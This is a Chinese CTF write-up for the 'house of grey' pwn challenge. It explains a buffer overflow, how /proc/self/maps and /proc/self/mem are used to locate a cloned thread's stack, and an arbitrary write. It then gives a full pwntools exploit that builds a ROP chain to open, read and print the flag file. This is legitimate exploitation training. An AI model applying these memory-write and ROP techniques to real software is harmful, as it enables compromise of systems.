linux采用的文件系统是/proc文件系统,在运行时可以更改内核的数据结构和设置参数等
/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。但是不可读
所以可以结合map的信息确定读的偏移值,只有读取的偏移值是被映射的区域才能正确读取内存内容。
写入mem文件来直接写入内存,可以直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shellcode来拿shell。

ida分析一下这题

程序有一个缓冲区溢出

但是读文件不能读flag文件

可以用功能4修改V8实现任意地址写

而这个体execve系统调用被禁用了,我们可以构造ROP,把flag文件读取到内存中,再输出来
因为fn函数有一个exit(0)所以覆盖fn的返回地址是不行的,但我们可以覆盖fn中case4的read地址
但是程序是clone出来的

程序用mmap映射出一个内存,然后通过其中一段随机栈地址给clone,但是我们可以通过读取/proc/self/mem文件,来搜索标记,已确定程序的栈地址。
而标记就是”/proc/self/maps”字符串,因为buf里保存了这个字符串,当我们在内存中搜索到这个字符串时,当前位置就是buf的栈地址

#coding:utf8
from pwn import *  sh = process('./pwnh35')
#sh = remote('111.198.29.45',37518)
elf = ELF('./pwnh35')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
open_s_plt = elf.plt['open']
read_s_plt = elf.plt['read']
puts_s_plt = elf.plt['puts']
#pop rdi
#pop r15
#retn
pop_s_rsi = 0x1821
#pop rdi
#retn
pop_s_rdi = 0x1823  def enterRoom():  sh.sendlineafter('Do you want to help me build my room? Y/n?\n','Y')  def setPath(content):  sh.sendlineafter('5.Exit\n','1')  sh.sendlineafter('So man, what are you finding?\n',content)  def seekTo(pos):  sh.sendlineafter('5.Exit\n','2')  sh.sendlineafter('So, Where are you?\n',str(pos))  def readSomething(length):  sh.sendlineafter('5.Exit\n','3')  sh.sendlineafter('How many things do you want to get?\n',str(length))  def giveSomething(content):  sh.sendlineafter('5.Exit\n','4')  sh.sendlineafter('content:',content)  enterRoom()
setPath('/proc/self/maps')
readSomething(2000)
sh.recvuntil('You get something:\n')
#解析程序的加载地址,以及mmap内存出的地址
elf_base = int(sh.recvuntil('-').split('-')[0],16)
pop_rdi = elf_base + pop_s_rdi
pop_rsi = elf_base + pop_s_rsi
open_addr = elf_base + open_s_plt
read_addr = elf_base + read_s_plt
puts_addr = elf_base + puts_s_plt  while True:  line = sh.recvline()  if 'heap' in line:  #接下来这一行就是mmap出的内存的信息  line = sh.recvline()  mmap_start = int(line.split('-')[0],16)  mmap_end = int(line.split('-')[1].split(' ')[0],16)  break  #现在解析出clone的那个程序的stack地址
stack_end = mmap_end
stack_start = mmap_start  #范围偏差
offset = 0xf800000
#区间范围begin_off~stack_end里搜索
begin_off = stack_end - offset - 24 * 100000
setPath('/proc/self/mem')
seekTo(begin_off)
print 'begin->',hex(begin_off),'to',hex(stack_end)
#在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址
for i in range(0,24):  readSomething(100000)  content = sh.recvuntil('1.Find ')[:-7]  if '/proc/self/mem' in content:  print 'found!'  arr = content.split('/proc/self/mem')[0]  break
if i == 23:  print '未能成功确定v8的地址,请重试!'  exit(0)  #获得了v8的地址,可以将它里面的内容,实现任意地址写
v8_addr = begin_off + i * 100000 + len(arr) + 5
print 'v8 addr=',hex(v8_addr)
read_ret = v8_addr - 0x50
#覆盖v8指针内容为存放read返回地址的栈地址
payload = '/proc/self/mem'.ljust(24,'\x00') + p64(read_ret)
setPath(payload)
#接下来,我们可以写rop了(v8_addr-24+15处就是/home/ctf/flag字符串)
rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)
#我们打开的文件,描述符为6
rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)
rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)
rop += '/home/ctf/flag\x00'  giveSomething(rop)  sh.interactive()

house of grey相关推荐

  1. 论文:Multi-Objective Modified Grey Wolf Optimizer for Optimal Power Flow-最优潮流

    论文来源: Multi-objective Modified Grey Wolf Optimizer for ..._百度学术 http://xueshu.baidu.com/s?wd=Multi-O ...

  2. python使用matplotlib可视化、使用matplotlib可视化scipy.misc图像、自定义使用grey灰色映射、将不同亮度映射到不同的色彩、并添加颜色标尺

    python使用matplotlib可视化.使用matplotlib可视化scipy.misc图像.自定义使用grey灰色映射.将不同亮度映射到不同的色彩.并添加颜色标尺 目录

  3. 浅谈格雷码(Grey Code)在信息学竞赛中的应用

    1.格雷码的概念 1.性质 格雷码(Grey Code),又叫循环二进制码或反射二进制码,是一种编码方式,它的基本特点是任意两个相邻的格雷码只有一位二进制数不同. 常用的二进制数与格雷码间的转换关系如 ...

  4. 【 Grey Hack 】大数四则运算

    目录 效果 加 减 乘 除 乘方 源码 版本:Grey Hack v0.7.3619 - Alpha 在Gs中,位数大于15的整数将以科学计数法显示,故这里提供一种基于字符串加法的四则大数运算算法.由 ...

  5. 【 Grey Hack 】综合工具 shellOs

    目录 交互界面 基本功能 本地攻击 攻击本机 远程攻击 应用程序 扫描功能 更新IP并扫描 深度扫描 黑入功能 类shell交互界面 一些特殊命令 bounce run ScanPsw vim bui ...

  6. 【 Grey Hack 】WIFI万能钥匙

    目录 脚本源码 使用方法 效果 版本:Grey Hack v0.7.3618 - Alpha 脚本源码 computer = get_shell.host_computer status = &quo ...

  7. 【 Grey Hack 】加强版nmap

    目录 probe 使用方法 效果 routerpcscan 使用方法 效果 版本:Grey Hack v0.7.3618 - Alpha probe if params.len != 1 or par ...

  8. 【 Grey Hack 】记一次被黑经历

    目录 又被搞了 版本:Grey Hack v0.7.3618 - Alpha 胆大包天的我黑进游戏内shop的IP后,顺着其上面的日志溯源到不少疑似其他玩家租的服务器,暂时没什么进展 不久后回到桌面才 ...

  9. 【 Grey Hack 】万金油脚本:常见端口修改Password

    目录 脚本源码 用法 效果及示例 版本:Grey Hack v0.7.3618 - Alpha 适用于SSH (22) 端口.FTP (21) 端口.HTTP (80) 端口.SMTP (25) 端口 ...

  10. 【 Grey Hack 】万金油脚本:原地提权工具

    目录 脚本源码 用法 效果及示例 版本:Grey Hack v0.7.3618 - Alpha 脚本源码 metaxploit = include_lib("/lib/metaxploit. ...

最新文章

  1. JAVA多线程:线程创建过程以及生命周期总结
  2. 指定某行复制多次的方法
  3. 前后端分离的项目部署到tomcat_前后端分离后,tomcat服务器部署和发布
  4. thinkphp5做好的PHP项目上传服务器上,访问任何页面都只显示默认的欢迎页面
  5. 游戏开发学什么?四步修炼骨灰级高手
  6. python 列表切片学习
  7. orm框架有哪些_.net core 基于Dapper 的分库分表开源框架(coredata)
  8. 华为手机网络连接不可用怎么解决_和平精英卡顿怎么解决?玩手机游戏用什么加速器比较好?...
  9. 微信服务通知消息找回_抖音回应无法用微信登录疑:不清楚是否是人为因素
  10. 移动端APM网络监控与优化实践
  11. opencv位运算,cv2.bitwise_and,cv2.bitwise_or,cv2.bitwise_not,cv2.bitwise_xor
  12. 【UVM基础】UVM 树形组织结构
  13. CAD图纸如何转换成Word文档呢?
  14. 完了,又火一个 。。。
  15. android手机性能如何界定,手机性能测试最新资讯
  16. 支付宝转账到个人账户
  17. JAVA计算机毕业设计道路桥梁工程知识文库系统Mybatis+系统+数据库+调试部署
  18. kaldi windows安装_Kaldi安装
  19. 三洋服务器显示F6,小天鹅洗衣机显示f6
  20. 【数据分析师自学系列——python】python实现自动挂号代码

热门文章

  1. HTTP协议和资源下载
  2. canvas画小黄人
  3. win10中maven的安装与配置
  4. Windows10下安装配置Maven
  5. 你也可以找到好工作(一)
  6. 测试人员例会会议议题制定规范
  7. [嵌入式开发模块]AD转换芯片ADS8344驱动模块
  8. 第二篇 USB2.0协议简述(包-事务-传输)
  9. CheckBox双击带来的烦恼
  10. 提示网站服务器403,如何解决电脑网页提示网站拒绝显示此网页和HTTP 403的问题...